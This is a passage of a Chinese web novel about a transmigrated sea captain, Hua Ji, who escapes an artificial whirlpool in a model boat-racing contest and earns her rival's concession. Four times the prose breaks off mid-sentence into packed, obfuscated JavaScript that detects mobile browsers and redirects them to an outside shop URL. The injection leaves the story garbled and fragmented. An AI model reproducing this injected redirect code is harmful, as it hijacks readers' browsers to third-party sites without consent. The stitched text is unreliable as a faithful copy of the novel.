她的头船有外围的空槽保护，即便历经三艘民船的夹击碰撞，也根本伤不到龙骨，会是什么呢？ 梅别鹤一定做了什么...... 如果换做她是梅别鹤的话，还会用什么样的方式来拦截...... 船队不在近前，骤然变宽的弯道处水流很急，且这一片水域，下方暗流里有着极强的回旋，人潜入水下光是要维持自身平衡都很困难，更不用说再要偷袭做事。 而如果出问题的地方，既不是船，也不是人，便只剩下...... 水。 像是为了验证她的猜想一样，院落中央，监督者的播报恰好传了过来，只有简短的一句话。 “花棘一方船队，受困漩涡。” ——果然是人工漩涡。 怪不得，梅别鹤的船队一直没有全速来追她。 河流在流经弯曲河道时，水流会因惯性作用试图沿直线运动，但紧接着受河岸约束被迫转向，故而产生离心力，再加上河道变窄后的猛然加宽，水流的收缩与加速会有分离流产生，确实很容易形成漩涡。 但在“花棘”的记忆里，鬼哭峡河段从未有过天然漩涡产生，说明一定缺少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885693|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形成漩涡的必要原因。 不过现在根本没时间去想这些，她一边招手叫人，一边拿过纸，提笔写应对方案。航行过程中遭遇到这样的突发情况时，最宝贵的就是时间。 内容： 命五只商船均开启最大动力向漩涡回旋之逆向全力冲出 写完，将纸条随意往桌角一放，花棘重新摸过一张空白的纸，开始算自己还剩多少时间。 她的五艘商船全部经历过解体，与之前相比要轻上很多，接近漩涡中心的速度会更快，可商船到底要比民船笨重，想要调转船头向外冲，需要克服的阻力是更大的。 先前鬼哭峡最窄处的河道宽是十三米，她现在船队所处的弯道宽度，差不多是方才经过处的五倍，也就是六十五米左右，水深接近十七米，这样，河流弯道处的半径就该是...... 转眼一张白纸上，就被涂涂改改地写满了一列接着一列的公式，花棘正算着，前来取字条的人，顺便带了一个沙漏过来，放在了她的桌边。 她原本没太在意，只抬头扫了一眼，不想，沙漏上显示的倒计时，竟比她自己算出来的短上一倍。 花棘当即站起身，推开挡在屏风边的人，快步走去了院落中央的模型跟前。 “这......花棘姑娘！” 侍从追在后面大声喊着，另一边屏风后的人听到动静，也都跟着追了出来。 然而，待两方行色匆匆的人赶到时，却只看见那一身青衣的消瘦女子，正双手交叉抱在胸前，冷漠地站在一旁，聚精会神地盯着下方陷入漩涡的五只小船。 那一份全然不受外界任何人和物影响的专注，直让所有围观过来的人，都跟着不自觉地安静了下来。 潺潺的水流声轻刮过每个人的耳畔，模拟河道内，朝着中心一处不停回旋的水势，像是一只扼在喉咙上的大手，正在一点一点收紧，绞杀着五只颤抖的小船。 小船的每一次被迫移动，每被水流带着走过一圈，都在沉落下坠，都是在向着毁灭靠近。 “命，后方最外围两艘船，动力开至最大，向漩涡回旋的相反方向，全速突围。” 花棘立于原地，沉着下令，指示副手一步一步操控着遇险的商船。 顷刻间，院落里，只听得到她一个人的声音。 “命，中间两艘船只，分一内一外，放缓动力，逐次以相反方向，向外行进。” “命，头船撤销所有动力。” 漩涡的强度远比她预想的要凶猛很多，因而，将商船全部吞没的时间只会更短。 她粗略地心算了一下，陷落最深的头船，最多只能坚持，三分钟。 一颗随风而来的水珠，忽地滴落在她的鼻尖，蔓延开一点舒爽的冰凉，花棘抬头，向着天上望去。 朗日转而变作满目灰茫，乌云翻卷，温热的空气愈发潮湿，有一场大雨正在酝酿。 ......要起风了。 视线收回，花棘从袖口里拿出了一个精致的小瓶，瓶盖打开，她用指尖在瓶口处轻点了一下。 而后，向前几步，在河道边蹲了下来，将指腹送入口中。 看着眼前出现的残局，她倒只怕没有这样的惊喜。 舌尖上，浓烈的咸味，一层一层荡开。 区区一个临时形成的漩涡而已，还能比真正的汪洋更凶险吗？ 11.第十一章 咸到有些苦涩的味道萦绕在口腔，交缠进鼻息间潮湿的空气里，这种感觉让花棘觉得熟悉，能够帮助她快速安静下来，只沉浸在思考中。 是当时第一次跟船出海实习，为了缓解晕船养成的习惯。 那段时间，她口袋里全天都会揣着一包榨菜，感觉胃里翻涌得受不了的时候，就含一点在嘴里，很管用。 过咸的味道，可以将口中不停分泌的唾液，以及胃里反上来的酸水全部盖住。 参加实习的小组中，一共九人，只有她一个女生。也只有她一个人，一直坚持到最后，都没有吐。 她就那样憋死了一口气在喉咙里，不想从别人的眼睛里，看到轻视的目光。 就是在那以后，每每需要强迫自己冷静沉思的时候，她就习惯了嘴里有这样的味道。 面前的河道模型内，船队位于最外围的两艘船，因为逃脱及时，不过半分钟，已经驶入漩涡外圈较为平缓的水域了。 这便是一二二队形的优势，有头船在前面探路，无论遇到什么突发情况，后面两艘船都有喘息的机会。 而中间两艘船也都按照她的指令，在紧靠近漩涡深层的边缘，以自身动力向外逆转，虽然也有缓慢下沉，但总体能够保持微妙的平衡。 难的是船体更轻，已经被吸入进漩涡深层的头船。 水流温莹自若地打着旋，无辜地拉着没有任何依附的头船，一圈一圈地游荡，一圈一圈地下坠，越来越快，越来越快。 头船的动力全部停了，像是全然的死木，只在船身四周拍打起了一点雪白的浪花。 一阵冷风倏尔刮来，吹乱了花棘散在脸颊两侧的碎发，淅淅沥沥的雨滴紧跟着落了下来。 下方的浪花在她眼中逐渐放大，呼吸间的咸味愈发刺鼻，她不受控制地喘起了粗气。 眼前正在发生的一切，渐渐与记忆中的画面重叠，潮湿开始将整个身体淹没，她好似也跟着一起坠入了进去。 天空晦暗阴沉，仿佛世界都在转动，身体摇晃到根本没办法站立，只得双手死死地抓着甲板外围的栏杆，人像是长在了船身上。 不停翻卷的巨浪带动水流，飞溅着拍打在脸上，眼睛只能睁开极小的一条缝，耳边连人群慌乱的嘈杂都变得微小，唯有狂风呼啸着轰鸣。 前世，花棘第一次担任船长，执行远洋运输任务，就遭遇过同样的意外。 按照特定航线行进的船队，在途径北半球时，却被突然出现的漩涡一把拉了进去。 彼时正值一月，是整片海域一年当中最冷的时候，气温降至零下数十度。 临至漩涡附近天象骤变，不到十分钟的时间，风力已爬升至十级以上，暴雨倾盆。 多亏了船队一二二的行进策略，早在意识到头船的的航行轨迹有所偏离的时候，后面四艘货船便及时采取了应对措施。 调整航向，增加动力，以与漩涡旋转方向相反的四十五度角，切入漩涡边缘，利用漩涡的旋转力，快速脱离逃出。 可这时的头船已经完全被漩涡吸力控制，一边旋转，一边向着中心处下沉。 航海中遭遇漩涡的逃生成功率极低，近几十年的事故中，成功的也仅仅就那几例，而作为船长的花棘，当时正好在头船上。 在下令全速逆向行进之后，花棘就离开了指挥室，她腰间绑紧绳子，穿上救生衣，戴好护目镜，整个人直接挂在了甲板边的栏杆上。 一九八二年英国帆船事故，一艘帆船被卷入北海漩涡，船员通过全速反向操作，并利用潮汐变化，成功突破漩涡边缘逃生。 二零一八年美国科罗拉多河事故，一名皮划艇运动员被卷入漩涡后，通过观察水面气泡和漂浮物轨迹，成功游向上升流区，最终被水流推至岸边获救。 花棘此时在找的就是上升流存在的痕迹，她正细致地观察着漩涡周围，各个角度水域的细微变化，这也许是他们逃生的唯一机会。 请求救援的卫星电话，三分钟之前就打出去了，不过，那连他们的最后一根救命稻草都做不了，如果一直坐以待毙的话，救援人员赶到的时候，轮船早已经沉没进深海了。 如果是在漩涡外围，弃船，所有人换乘小型快艇逃离，可能还有机会。但现在的情形，货船的沉重和巨大的惯性，反而成了优势。 四艘成功逃脱的货船，绝不可以再接近这里，生死一线，他们只能靠自己了。 漩涡是水流旋转形成的低压区，其中心位置水流下沉，是为下沉流，而边缘部分因离心力的作用，水流向上涌动，就会有上升流的存在。 上升流通常出现在漩涡的外围区域，尤其是旋转方向与重力共同作用的过渡带，但...... 眼下，海浪拍打沸腾，甲板摇晃不止，花棘找不到条件观察上升流更为明显的特征，耳边的通讯装置里，大副与二副的救援指令接连响起。 全速逆向冲刺，既是在拖延轮船下坠和接近漩涡中心的时间，也是在耗所有人的命，燃油耗尽的那一刻，就什么都没有用了。 她心念一转，做出了一个大胆的决定，仔细检查了一遍双手上氯丁橡胶材质，五指分指设计的专业防水手套后，径直从护栏上翻了出去。 “船长！太冒险了，不行！” “船长！” 耳边的阻拦渐渐被近在咫尺的海浪声淹没，花棘一手抓着船身外围的救生圈，一手伸长没入了海浪里。 上升流会将深层的冷水带至表面，使局部水温骤降，切身感知水温，是所有人能够活下来的，最后的机会。 ......可惜，一个人之于整片大海力量的何其渺小，还未觉察到丝毫变化，花棘身体的失温效应就来了，双腿开始一阵接一阵地痉挛。 她还活着，全船的人也都还活着，她没想过要放弃，只是，此刻巨大的无力，让她一时间实在想不出，还能有什么别的办法。 不断攀升的眩晕感终于要将她淹没，眼皮变得越来越重，每一次抬起都需要耗费比先前更多的力气。 花棘竭力地挣扎着，不行，还不可以，她是船长，她不能就这样倒下...... 恍惚间，海浪歇斯底里的呼嚎中，倏地掺入进了一点低沉的杂音。 “花棘......花棘......”有什么人在一遍一遍，唤着她的名字。 “嗯......嗯？” 花棘干燥的喉咙内，总算挤出了一点微弱的声音。 她循着耳畔的声音转过头，看到了正倾身俯在她身侧的李文晞。 “花棘，你......还好吗？”李文晞轻声问道。 “我没事。”花棘冷漠地回答，说完，视线继续转回到面前的模拟河道内。 李文晞跟着看了好一会儿，却依然看不出有什么端倪，不解地问：“花棘，你，到底在看什么？” 他一句话算是问出了在场所有人的心声，方才还剑拔弩张的众人，此刻目光全部专注在花棘身上，大家都想知道面对这样的涡旋，这个奇女子会用什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895946|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的办法，来救这条小船。 经过了刚才的较量，今次船匠们看向花棘的眼神，再也没有了初见时的轻视与质疑，性别的禁锢被智识击得粉碎，叫偏见掩盖在更深处的光彩，终究要开始接受仰慕。 听到李文晞询问的花棘略微定了一下，而后忽然语速加快，半是回答，半是自言自语道。 “上升流会带动水下泥沙中的气泡上浮，形成密集的小气泡，或者水花。” “上升流区域的水流是向上的，而不是旋转的，所以，水面波纹会更平缓，或者出现与主漩涡方向相反的波纹。” 她指挥留在漩涡边缘一内一外的两艘船，就是为了作为水上漂浮物，来辅助观察上升流的。 “漂浮物遇到上升流，会有短暂的上浮，或者向漩涡外围移动，而非直接被吸入中心。” 但船只模型还是太重了，在其周围根本不可能观测到细微的浮动变化，而且，两艘船的动力极限也快到了。 花棘继续发出指令：“命，涡旋外围两艘船，全力逆向冲出。” 李文晞闻声，偏头向着花棘看去。 仅半边清晰的侧脸，转折分明的下颌线与挺俏的鼻尖，让她看起来更加冷艳疏离。专注落定的眼睛如同星子一般明亮，睫毛修长浓密，飞扬似漆黑的鸦羽，颤动中带着锋利。 唯一抹黛色细眉，间或轻抖、微蹙，才让人得以试着窥探，她此刻内心真正的纠缠。 这样的她会让李文晞想起，他假问该如何找到商船失事证据的那个晚上。那一晚的花棘也是这样，神色郑重，语速急促，吐露着让他为之惊叹的乾坤。 他还是想不明白，不过十八年市井深巷的人生，何以让她拥有这样超凡的学识。 李文晞的视线将要收回，眼前的花棘却忽地动了，只见她倾身向前，双手撑着沙石堆起来的高台，以一个更近的距离俯看下去，上半身几乎全部笼罩在涡旋上方。 周围当即有人随着她的动作，向前又靠近了几步，一时间所有人的好奇心，再度被她另类的举动给勾了起来。 高台边缘有轻闷的敲击声响起，李文晞低头去看，近在眼前的一只纤细素手，食指与中指正交替着快速轻敲着石面。 原来，她，到底还是在紧张的。 花棘要靠得更近，是因为她必须要观察得再入微一些才行。 斗船过程中，参赛者不允许碰触水面或船只，漩涡四周的水温没办法感知，能够依赖的便只有一系列变化的综合判断。 模拟河道内，无论是船只模型，还是漩涡的水流，都比真正的江河与汪洋要小太多，要找到上升流所在的区域，又何止是成倍的难度。 短时间内人工形成的漩涡，强度远远比不上野外那些，凭天然因素长期积累而成的，所以，可供她突破的窗口期一定很多，她只是需要再认真一些，再细致一些，她一定可以找到那个突破点。 视线渐渐变得模糊了起来，花棘用手背胡乱地抹了一下，才发现是雨水打湿了她的眼睛。 她抬头向着正前方望去，四下的光线更加昏暗了，雨不知是从什么时候起下大的，风将漫天的水幕整齐地切成了一条又一条的斜线。 河道中的小船被大雨淋重了颜色，随着漩涡不停下坠的同时，又叫风拉扯着频频摇摆晃动。 雨滴密集地敲打在河面，荡开一圈又一圈层层叠叠的涟漪，上升流存在的痕迹被彻底搅乱。 花棘一言不发，摸出袖中的小瓶，又在舌尖上点了一次盐。 12.第十二章 李文晞看到了花棘将小瓶内的粉末，放进自己口中，从她第一次这样做的时候，就看到了。 一开始因为角度原因，他其实并没有看清什么，只看到花棘从袖口中拿出来了一个什么东西。是第二次，他提前有了准备，这才默默将一切看得完全。 花棘小瓶内装着的是一种白色晶状粉末，那种质感看起来很熟悉，但他暂时也不好确定具体是什么。 他更好奇的是这种白色粉末的功效，因为在食用过粉末之后，他明显看见面前的花棘，很快克制地镇定了下来，右手食指与中指轻敲石面的速度，也明显慢了下来。 这让李文晞不得不怀疑，难道花棘神色的反常，说话时莫名加快的语速，都和这种粉末有关吗？ 突如其来的大雨势头凶猛，又急又烈，从院落方方正正的天空上瓢泼而下，不多时，便打湿了所有人的衣衫。 红色的油纸伞在头顶上方，被狂风吹出簌簌声响，李文晞不忍，招手又叫人多添了一把过来。 眼前人单薄的青衣早已湿透，颜色变得更深，后背消瘦的蝴蝶骨，明显得像是两座凸出来的荒山。 李文晞亲手接过伞，缓缓移了几步，俯身撑了过去。 谁知下一秒，花棘猛然回头，看向他的目光疏远而凌厉。 “多谢殿下好意。”花棘礼貌回绝。 斗船中时有降雨发生，一如出船走水风霜雨露，参与斗船的人与斗船的河道，从来也没有遮伞的规矩。 李文晞能够将比赛所需的一切都制备妥当，对于这一点，自然也是心知肚明。 听罢，李文晞略微摇了一下头，没有说话，默默收起了伞。 花棘颔首致歉，而后，又快速将头转了回去。 身后另一方的所有船匠们都在淋着雨，李文晞怎会不知斗船比赛的规矩，只是看着她全身湿透的样子太过刺眼，他便管不得什么破规矩。 可如若她自己不愿意，谁又能再去勉强呢。 摆手退去前来接应的侍从，李文晞兀自将伞拿在手里，敛了裙摆，再度半蹲在了花棘身旁。 冷风不住地吹在花棘湿透的身上，头发上，一阵阵凉意使人更加清醒，舌尖咸味丝丝缕缕的扩张，更让她觉得踏实。 方才被回忆扰乱的焦躁，再度被强行镇压了下来，思绪回归平静。 斗船中，为了胜利舍弃船队中的其中几艘，只留最后一船，是再正常不过的事，但花棘做不到。 如果不是头船的探路，一整个船队会直接全部搭进去，牺牲没有值不值得，只有万不得已，她是船长，她绝不会舍弃自己船队里的每一艘船。 随着视角深入，花棘像是再度坠落进了巨浪里，一手紧紧地抓着救生圈上的绳索，一手浸没在冰凉的海水中，两条腿抽搐似的发着抖。 眼皮怎么会这么重，意识也变得越来越混沌，但她不能就这样睡过去，她还在找什么东西，她还在等待海水中一点更为彻骨的冰凉。 但马上窒息感先来了，她的呼吸开始急促、失控，喉咙撕扯着收紧，直至氧气被彻底抽干，大脑被完全阻断在身体之外，唇角流下了鲜红的血迹。 这时，眼角模糊的余光里，突然闯入了一点橙色。 花棘下意识地条件反射，那是救生衣的颜色。 是救援到了吗？ 时间已经过去这么久了吗？她还在想。 可紧接着，她发现那不断聚集增多的橙色，不是从上方，也不是从外部涌入的，而是和她一样，全部是从甲板上跳下来的。 那不是别的任何什么人，那是她的船员们。 仅凭一个人的力量去对抗汪洋，或许太过渺小，但当一群人汇集在一起的时候，是不是，就可以去奢望，一个奇迹的发生。 花棘紧咬着下唇，让自己保持清醒，她一遍一遍地告诉自己，快了，就快了。 他们，一定可以的。 ...... 终于，视线中的橘色光点再次有了变化，应该是有人在大喊，不断跳跃、欢呼，然后，越来越多的光点都靠近了过去。 接着，花棘看到，还有人正在向她狂奔而来。 明亮的橘色越来越近，越来越近，她觉得好开心，可下一秒，那橘色却悄然变了轮廓，扭曲着模糊，再逐渐具体，最后，成了一片枯叶的模样。 异世，大雨倾盆的院落中央，雨滴敲打树梢，落叶随风漫舞，终究有一片，飘落到了漩涡边上。 眼见那枯黄的叶片跟着水流旋转了几圈之后，倏尔在某一个位置，极其细微地向上浮动了一下，而后又向外短暂地抖了抖，这才继续向下沉去。 花棘当即抬手拔下头上的木簪，沿头船与枯叶刚刚停顿的位置，两点一线延伸至河道石壁，狠狠划下了一个记号。力量之大，直让木簪的尖头当场崩裂。 “命，头船动力开至最大，向标记位置全速冲出。” 花棘的声音刚一落下，天际上空顿时惊起闷雷阵阵，电光快闪。 不过，她眼盯着副手将头船的动力调试完毕，被雨水尽然打湿的小船，颤抖却坚定地向着漩涡外一点奋力冲去。 破局的关键被她尽然握在手掌，任何其他的一切，都已不用惧怕。 散落的长发将一对嶙峋的蝴蝶骨遮盖，花棘扶着身下的沙石缓缓站了起来，单薄的肩膀依旧挺得笔直。 长风飞掠过脸颊，带起一旁细柳摇曳，屋檐边的落雨连成了珠线，她伸出一只手，手心向外，看着轻柔的晶莹渐渐聚满，又渐渐散去，忽然觉得内心无比畅快。 末了，待高高扬起的船头，猛然飞跃出漩涡束缚时，最先响起的是来自对手们的欢呼。 当年意气风发的小伙子们，变成了如今大腹便便的中年人，惯于站在人群中间发号施令的精英，也成了现在偏坐角落里的老叟，世道蹉跎，光阴不等，可那藏于心底最深的一线期盼，又如何会被轻易抹去。 斗船大赛没有了，曾经的荣耀没有了，身边的好友们也没有了，他们该是有多久没有见到这样精彩的对弈了。 七尺男儿们互相推搡着，彼此目光灼灼，透过雨帘晶莹闪烁，千言万语尽在一张张笑脸里。 眼中蒙尘的光彩，在这一瞬间开始闪烁，所有的翘首以待，都在时间的搓磨中，等待了太久太久。 这些真正热爱航船的汉子们，此刻每个人的心里都有一问： 漓州漕运一脉，会不会因为今天，因为有这样一位女子的出现，而有所不同？ 花棘有些不自在地转过头去看了一眼，船匠们在迎上她的目光后，全数沉寂了下来，各自闪躲着，颇为羞愧的低下了头，只留下一个个黑漆漆的头顶对着她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她已不再是前世的远洋船长，身下没有汹涌的汪洋，眼下只是“花棘”最为憧憬的斗船切磋，嘴中苦涩的咸味渐渐淡去，雨声淅沥。 面对航行时，她好像也该试着去将压力卸下一些，不再有那么多沉重的心思，既然还有这样的机会，便更应该只是纯粹地去享受，这一场比试的悬念与喜悦。 屏风处素白的一只玉手终于扬了起来，侍从赶忙小跑着向前，将花棘写好的字条在油纸里护好，谨慎地交给了监督者。 随着监督者将字条上的指令宣读，另一边的副手们，也快速将河道内的五艘船只模型调整完毕。 五艘河面上平静停稳的小船，船头全部调转，它们并没有按照原本的航线离开，此刻对准的，反而是刚刚拦截过它们的船队。 花棘，这是要做什么？ 船匠们的议论声模糊在雨帘之外，屏风后闭目安坐的青衣女子，思绪正飞扬在鬼哭峡上空。 大雨惊醒了两岸垂首的荒草，江水滔滔，水面上涟漪狂沸，自身后呼啸而来的风，将她的长发吹至身前。 比赛不会轻易结束，这一次，该是轮到她顺风了。 可几分钟的时间过去，她并没有等到对方船队的任何动作，只等到了监督者扬声宣布的一句： “梅别鹤方，自愿认输。” 13.第十三章 “不是，为什么啊？” “对啊，不就是逆风对抗吗？咱们之前又不是没遇到过！” “现在双方船队都有不小程度的损耗，真正碰撞起来，谁也别小瞧了谁！” 十几个船匠们一人一嘴从屏风后，一路吵到了模拟河道前，不多时，更远处的花棘，也移步走了过来。 见花棘过来，梅别鹤径直叫停了众人，摊手略微欠身。 “花棘先生，请。” “梅叔客气了。” 花棘回礼，跟在梅别鹤身后，一行人再度回到了河道边上。 梅别鹤指向花棘的船队，率先开口问道：“不知花棘先生，这一趟商船上所运的货，是为何物？” 花棘闻言，浅笑了一下，再无遮掩，缓声反问：“所以，梅叔是从什么时候开始猜到的呢？” “哈哈哈哈——” 梅别鹤爽朗地笑着，负双手于身后，沿着河道一边缓慢地踱着步，一边哑声道来。 “方才那四艘率先冲出涡旋的商船，并不是随机靠向我们这边，而是先生故意的吧。” 花棘在一旁听着，并未回答，无声默认。 梅别鹤继续说：“以当时四艘船的动力，和陷入涡旋的深度来看，凭你的实力完全可以控制它们出逃的方向，所以，那四艘船最后停的位置，便只能是先生提前算计好的。” “梅叔慧眼。” 花棘没有敷衍，也不是场面上的应和。 除去前厅初见时，刻意地傲慢，和想要激人亮出真本事之外，在她心里，对这位曾经连续三次夺得斗船魁首的前辈，始终是怀着敬意的。 特别是在见识了那样诡异神奇的人工漩涡之后，更让她对这位超越时代的老者，肃然起敬。 梅别鹤看向花棘接着道：“先生解体之后的船，船身都变得更轻，也更薄，已经无法再藏进什么机关，因而，不可能是回头来和我们硬碰硬的。” “但是，这样的船身，配合上顺风之后，会有另一个更大的优势。” 梅别鹤话音一顿，苍老的脸上倏尔浮现出笑意，“所以，如果我是先生，我会选择用火。” 花棘依旧未答，而是转身走去自己的船队前，俯身亲手将船上的“货物”全部取了下来。 赫然正是五块，用以引燃的沥青。 “快看！还真的是！” “这......这花棘先生是怎么料到这一步的？” “本来以为梅老的涡旋都够神了，是真想不到，花棘先生还有后手......” 许是比赛终于落定，先前碍着面子如何也不肯开口的众人，这会儿也都放松下来，自行略去了与花棘之间的隔阂，无遮无拦地讨论起来。 没人再管什么比赛双方的事，其中几个年长一些的，甚至站到了花棘一侧，直接凑近了去看。 “梅叔就这样认输，还是草率了一些吧。”花棘难得缓了语气，开起玩笑。 说完，将手中全然浸湿了的沥青，往梅别鹤面前送了送，“今日天降骤雨，这火原本也烧不起来了，我到底是不甘心，还想再试一试罢了。” 梅别鹤听到，摇头，笑着摆了摆手。 “我梅别鹤一向习惯了赢，却也从来，没害怕过输。” “更何况，是先生这样，能让我输得心服口服的人。” “花棘先生，这一回，是我梅某人败了。” 曾经这个时代最为闪耀的天才，即便是败，也要败得高傲。 花棘的所有谋划，背后均是领先了几千年的科学观念加成，而站在她对面的梅别鹤，所能够依托的，仅仅是自己对于漕运事业所有的激情，以及对这片水域足够深沉的热爱。 梅别鹤的人工漩涡，之所以能够发挥出那样理想的效果，也是因为她船队里的每一艘船，都发生过解体的缘故。 在这样的对决之中，她不相信巧合，她更愿意相信人的智慧。 或许，这个睿智而果决的老人，早料到了她会如何去做。 花棘没有这个时代的性别偏见，她便是如男子一般，双手交叠向前，朝着自己敬重的前辈，郑重行礼致谢，致歉。 “花棘，承让。”她说。 梅别鹤庄严还礼，哑声道：“梅某，何其幸之。” 雨中，一老一少，颔首以拜，仿佛千年流转的时空，倏尔在这一瞬，意外交叠。 待花棘直立起身，头顶上方的天幕陡然变成了一片赤红，雨滴被隔绝在外，世界短暂安静，只听得到水帘敲打的微声。 眼角一侧，同样赤红的身影向前一步，李文晞亲手为她撑着伞。 伞面明明一直向着她这边倾斜，那人就站在红色油纸伞的边缘，肩膀大半都在雨里。 李文晞略微低了头，看着她的眼睛，正色问：“花棘先生，斗船比赛既已分出胜负，不妨与众位船匠师傅们一起，移至内室，坐下来再慢慢畅谈如何。” 李文晞是尊贵的七皇子，晨王，这里又是他的府邸，不该这样问的。 花棘受宠若惊，偏过头，淡淡道：“全凭殿下安排。” 但......让花棘没有想到的是，李文晞的安排是就近让侍女们，引她去了另外一个房间。 推开房门进入，里面安放着，一浴桶刚好温热的水，和一身干爽清香的衣服。 一如，他们初见，他第一次收留她的那个雨夜。 花棘没有多余的心思，一场斗船下来，她心中还有诸多疑惑，都需要老船匠们帮忙解答。 得知那么多人都在等着，她也没什么心情仔细打扮。简单梳洗过后，只让侍女们随意束了长发，她便快步赶去了议事的长亭。 青石板路上，雨滴欢快，成群地跳跃在刚刚积起的水洼间，活像透明的鱼。 不久，当那把红色油纸伞从月洞门内出来的时候，李文晞刚好百无聊赖地再一次从茶盏边，扬起了目光。 只一盏茶的功夫，这已经是他第三次看过去了，终于，叫他等到了来人。 这一次为花棘准备的衣服，是他亲自勾笔设计的，一套白色的蝉翼纱襦裙。 上身圆领窄袖的一侧肩膀，绣了点点翠绿的竹叶，另搭一条浅灰色的帔帛，一边绕过肩头，一边落在臂弯。 下身的及腰长裙，自腰身到裙摆，用的是市面上现今最顶级的渐染技艺，由白至灰。 其实裙摆处灰色的渐染，他专门找工匠重做了几次，都不满意，包括最后这一版，他总觉得那散落的灰色里，缺少了一点灵动。 直到此时亲眼见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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特殊水域水流流速的穿插，配合下方更深处人工制造的河水密度差，确实有制造出人工漩涡的可能。 她能够想到的，甚至还可以在河底特定的位置，提前放好一定数量的粗盐，通过控制盐融入水中的速率，进而实现控制漩涡形成的时间。 但这样理想化的设想，只可能存在于实验室里，野外水域的不可控因素多到几乎不可能被量化，更何况是鬼哭峡那样凶险的河段，再加上这个时代的水下作业条件、辅助外设...... 她实在想象不出。 花棘于是率先请教道：“梅叔，恕晚辈愚钝，那涡旋到底是如何被制造出来的，其中微妙，烦请不吝赐教。” “哈哈哈哈——”梅别鹤听到问及此事，爽朗地大笑了起来，浓眉下凌厉的大眼睛笑得弯了，眼角旁沟壑纵横的皱纹紧紧堆在一起，反衬出了几分少见的慈祥。 “其实，也没什么特别的法子，能够形成涡旋的条件，想必以你的学识，估计也不用我老头子多解释。” 梅别鹤话音顿下，目光转而看向厅外漫天垂落的雨帘，脸上笑意淡去，颇为感慨地道了一句。 “说到底，大概只因为，我们是最了解这片河水的人吧。” “法子不是我一个人想的。”梅别鹤继续说着，偏过身，回头指了指身后几人示意给花棘看。 “这也是当年大家一直想做，却没做成的事。” 14.第十四章 “大强，你来说吧。” 梅别鹤朝着后方叫了一声，一个黑脸憨憨胖胖的中年汉子，猛地站了起来。 大强满脸慌乱，这么重要的场合，他能够跟着来，还有钱分，已经是想都不敢想的事了，怎么可能轮得到他乱说话。 “我......我吗？” 大强傻愣愣地指着自己的脸问，而后赶忙慌乱地摆手拒绝。 “不不，这怎么行，梅老，还是您来说吧，不行，不行......” “呵呵呵呵——” 这时，主位上的李文晞，折扇一收，忽而笑了起来，他长袖一挥，说道：“好吧，那便由本王来做个主。” 被唤作大强的人，瞧着算是这群人里顶年轻的了，梅别鹤偏要这样卖个关子，无非是算计着给年轻人一个机会罢了。 余光里花棘面色和缓，此番定然心情大好，这送上门来的水顺人情，他又怎有不要的道理。 李文晞俯身上前，一派雍容温和，说道：“大强兄弟，走上前来，本王命你将这人工涡旋制造的经过，仔仔细细地都讲清楚。” 一句话直将中年汉子的冷汗都吓了下来，大强噗通一声跪倒在地上，连连磕头谢恩。再抬首，一张憨厚可人的笑脸上，竟连眼睛都红了。 待大强缓了情绪开口，满堂静默，天地间一时只听得到雨滴轻敲屋檐的脆响，和一段关于故土的往事。 花棘动情地听着，在大强口中，她仿佛看到了鬼哭峡另一种，截然不同的样子。 在大强的记忆里，鬼哭峡并不像世人恐惧的那般，相反，它其实还有一个更为美丽的名字，叫亮亮峡。 亮亮峡处河水的声音很响亮，远行回来的人，只要听到那熟悉的声音，便知道是家要到了。而且，听老人们说，夏天的时候，晚上在亮亮峡旁看到的月亮和星星，会比在其他地方的都要明亮。 对于世世代代住在亮亮峡附近的人来说，那一直是他们的母亲河，是能够为他们带来生机，滋养他们长大，浇灌庄稼生长的河。 是后来，途径亮亮峡的船多了，人们在水上赚到了大钱，才来了水贼。 亮亮峡的名字也是从那之后，渐渐变成了，令人谈之色变的鬼哭峡。 大强说着，情绪不免高涨了起来。 “亮亮峡这处河段很容易形成涡旋，但偏又因为各种原因差了那么一点。我之前一直在想，如果能够人为将那一点原因给补上，说不准，甚至，可以进一步控制涡旋形成的时间，就像......就像是某种神力一样，这样，亮亮峡便再也不怕水贼了。” “当年，我们一群从亮亮峡出来的穷小子，私下里试验了很多次，用石块沉船改变水下暗流落差，在盐袋里设置机关，控制河底深处的河水密度......” 大强说到这里，脸上的神色一点一点暗了下去，“可是还没等我们的试验成功，斗船大赛就没有了，再也没有了。” 接着，话音一转，他眼中倏尔迸发出了，两簇星火一样的光芒。 他兴奋道：“没想到多年之后，竟是梅老亲自找到了我。” “梅老问，那些年没有做成的事，现在还想不想做了？” “想！” 骤然拔高的音量，让大强破了音，可回落的尾声里却成了模糊的哽咽。 他沉下头，低声念叨着：“怎么可能不想，不管多少年过去，我们也不可能忘记亮亮峡啊......” 